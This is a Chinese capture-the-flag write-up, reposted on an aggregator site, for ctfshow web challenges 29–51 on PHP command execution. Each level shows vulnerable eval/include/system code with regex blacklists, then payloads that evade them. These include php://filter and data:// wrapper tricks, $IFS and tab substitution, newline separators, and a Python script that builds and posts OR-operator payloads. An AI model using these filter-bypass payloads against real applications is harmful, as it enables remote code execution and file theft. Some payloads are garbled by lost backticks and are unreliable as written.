IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow web入门命令执行29~51 -> 正文阅读

[PHP知识库]ctfshow web入门命令执行29~51

ctfshow web入门命令执行29~51

web入门29

过滤了字符串flag

if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

法一:字符串拼接

url/?c=system("echo nl fl''ag.php");查看源码,注意markdown反引号隐蔽

法二:

url/?c=system(“ls”); 发现有flag.php,因为flag被过滤无法直接读取,可用

url/?c=system(“cat f*”);

法三:

利用反引号``执行命令,表示先执行命令ls,再执行命令cat

url/?c=system("cat ls");

web入门30

过滤了system flag和php 对c GET传参

if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

法一:字符串拼接

url/?c=echo nl fl''ag.p''hp;

法二:url/?c=echocat f*;

web入门31
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

几乎全给过滤了

法一:hint

url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

array用于创建数组

array_reverse将数组倒序输出

pos函数返回数组中当前元素(指针指向)的值

scandir函数返回指定目录中的文件和数组

next将指针指向数组的下一个元素并输出

show_source对文件进行语法高亮显示,是highlight_file()别名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

法二:构造新的执行点

给c传eval($_GET[a])进去,再给a输入代码执行,这样就不会被过滤了

url/?c=eval($_GET[a]);&a=system(“ls”) 有flag.php

url/?c=eval($_GET[a]);&a=system(“cat flag.php”)

web入门32
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

几乎全过滤了

hint 文件包含+php伪协议

c=$nice=include$_GET[“url”]?>&url=php://filter/read=convert.base64- encode/resource=flag.php

再对base64解码即可

php://属于php伪协议的一种,在CTF中常用php://filter,作用:一种元封装器,设计用于数据流打开时的筛选过滤应用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

resource=<要过滤的数据流>

read=<读链的过滤器>可以设定一个或多个过滤器的名称,以管道符分隔

convert.base64-encode属于转换过滤器,base64编码

/resource=文件名 读取文件源码

PHP伪协议总结 - SegmentFault 思否

include属于文件包含函数

include$_GET[“url”] 等同于

? $file=$_GET[“url”];

? include $file;

web入门33
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

又多了一个过滤引号,方法同上,去掉引号即可

c=$nice=include$_GET[url]?>&url=php://filter/read=convert.base64- encode/resource=flag.php

web入门34
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

又过滤了: (

方法同上,也可用不需要使用括号的函数

web入门35
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

又过滤了< =

方法同上

web入门36
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

又过滤了/ 数字 方法同上

web入门37
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag/i", $c)){
    include($c);
    echo $flag;

  }
    
}else{
  highlight_file(__FILE__);
}

用data伪协议,主要用于数据流的读取,传入的数据是php代码就会执行

嵌入文本data://text/plain

data://类似php://input,可用来控制输入流,与包含函数结合时,输入的data://流会被当成php文件执行。此题就与include()函数相结合,直接输命令。过滤了字符串flag,看源代码。

?c=data://text/plain, system("cat fl*");?>

一般使用方法:

data://text/plain;base64; base64编码后的数据

不用之前php伪协议的方法,因为本身含include包含函数

web入门38
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|php|file/i", $c)){
    include($c);
    echo $flag;

  }
    
}else{
  highlight_file(__FILE__);
}

过滤了flag php file

还是用data伪协议,php改为=

终于知道hint里那一串base64编码哪来的了

?c=data://text/plain, system("cat fl*");?>

base64编码就是

PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

可骗过过滤

所以也可以用一般的data伪协议 url/?c=

data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA= 看源码即可

web入门39
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag/i", $c)){
    include($c.".php");
  }
    
}else{
  highlight_file(__FILE__);
}

因为.php前面的php语句已经闭合(语句可完整正确地执行)了,所以.php会被当成html页面直接显示在页面上

所以?c=data://text/plain, system("cat fl*");?>仍然适用
? 在这里插入图片描述

web入门40
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
  }
    
}else{
  highlight_file(__FILE__);
}


hint

法一:没有过滤英文括号,过滤了中文括号(看不出来)用31的hint就能做

show_source(next(array_reverse(scandir(pos(localeconv())))));

法二:GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());

cookie里让 passid=ls

因为过滤了 . 所以cookieb无法 继续执行命令cat/tac flag.php 此法作罢

法三:

输入c=print_r(get_defined_vars());

post传参1=system(“cat flag.php”)

? 在这里插入图片描述
? 在这里插入图片描述
? 在这里插入图片描述
发现post传入也在数组末尾

输入?c=eval(array_pop(next(get_defined_vars())));

post传参1=system(“tac flag.php”);

? 在这里插入图片描述
结果
在这里插入图片描述
array_pop() 删除并返回数组最后一个元素(取出最后一个元素)

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

用get_defined_vars()来获取所有已定义的变量,发现post数组为空,且get传入的内容在数组末尾,可以post传入想要执行的命令。

web入门41
if(isset($_POST['c'])){
  $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");
  }
}else{
  highlight_file(__FILE__);
}

全过滤了,但留了个 位运算符与 |

嫖了个脚本直接跑(目前不懂)

import re
import requests

url="http://d06156b2-98c2-4b81-ad6e-a06d1550561f.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="cat flag.php"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

php位运算符:对二进制位从低位到高位进行运算

? 在这里插入图片描述

web入门42
if(isset($_GET['c'])){
  $c=$_GET['c'];
  system($c." >/dev/null 2>&1");
}else{
  highlight_file(__FILE__);
}

shell脚本——>/dev/null 2>&1 详解

含义:>代表重定向到哪

/dev/null空设备文件,所有写入的内容都会丢失,俗称黑洞

1表示stdout标准输出,系统默认值为1,>/dev/null等同于1>/dev/null

2表示stderr标准错误

&表示等同于,2>&1表示2的输出定向等同于1

解释:命令1>/dev/null 首先表示标准输出重定向到空设备文件也就是丢弃标准输出。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也被丢弃。

所以该shell命令不会输出任何信息,不回显。https://www.cnblogs.com/ultranms/p/9353157.html

法一:用 ; 截断

url/?c=ls;

url/?c=cat flag.php;

法二:hint用%0a截断

url/?c=cat flag.php%0a 看源码

法三:用命令分隔符**||**截断在这里插入图片描述
cmd1 | cmd2 只显示cmd2结果
cmd1 ; cmd2 无论cmd1是否成功执行,都执行cmd2
cmd1 || cmd2 cmd1执行失败时才执行cmd2
cmd1 && cmd2 cmd1执行成功时才执行cmd2

若用|则显示第二个命令,即不回显,c输入的是第一个命令

web入门43

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

比上一题多了cat ; 过滤

执行命令url/?c=tac flag.php%0a

或者执行url/?c=nl flag.php%0a 看源码

nl命令:输出文件内容并自动加上行号

web入门44

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/;|cat|flag/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

过滤了; cat flag 用通配符*

执行命令url/?c=nl f*.php%0a

url/?c=tac f*.php%0a

web入门45
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| /i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

过滤了*; cat flag 空格

hint

echo$IFStac$IFS*%0A注意反引号

``执行系统命令

tac${IFS}f*.php%0a

echo${IFS}tac${IFS}f*%0a

shell脚本——变量IFS,分隔符

作用:shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

查看IFS值echo"$IFS"

$IFS*返回所有参数

tac%09f*.php%0a

%09是tab的url编码

web入门46
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

过滤了; cat flag * $ [0-9] 空格

nl<fla’'g.php|| <可理解为空格,重定向到后面的文件

<是输入重定向https://www.runoob.com/linux/linux-shell-io-redirections.html

重定向就是通过各种方法将各种网络请求重新定个方向转到其它位置

%09与%0a是url编码,不会当成数字被过滤

也可用/?c=tac%09????????%0a

?与*都是通配符,?占一个位置,星号占无数个位置

web入门47
`if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}`

/?c=tac%09???%0a即可

web入门48
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

/?c=tac%09???%0a/?c=nl<fla''g.php|| 即可

web入门49
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

%09是url编码,不算入过滤的%中,%26是&的url编码

web入门50、51
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

过滤了x09 x26

/?c=nl<fla’'g.php|| 即可
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-16 12:49:24  更:2022-01-16 12:51:08 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 5:31:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计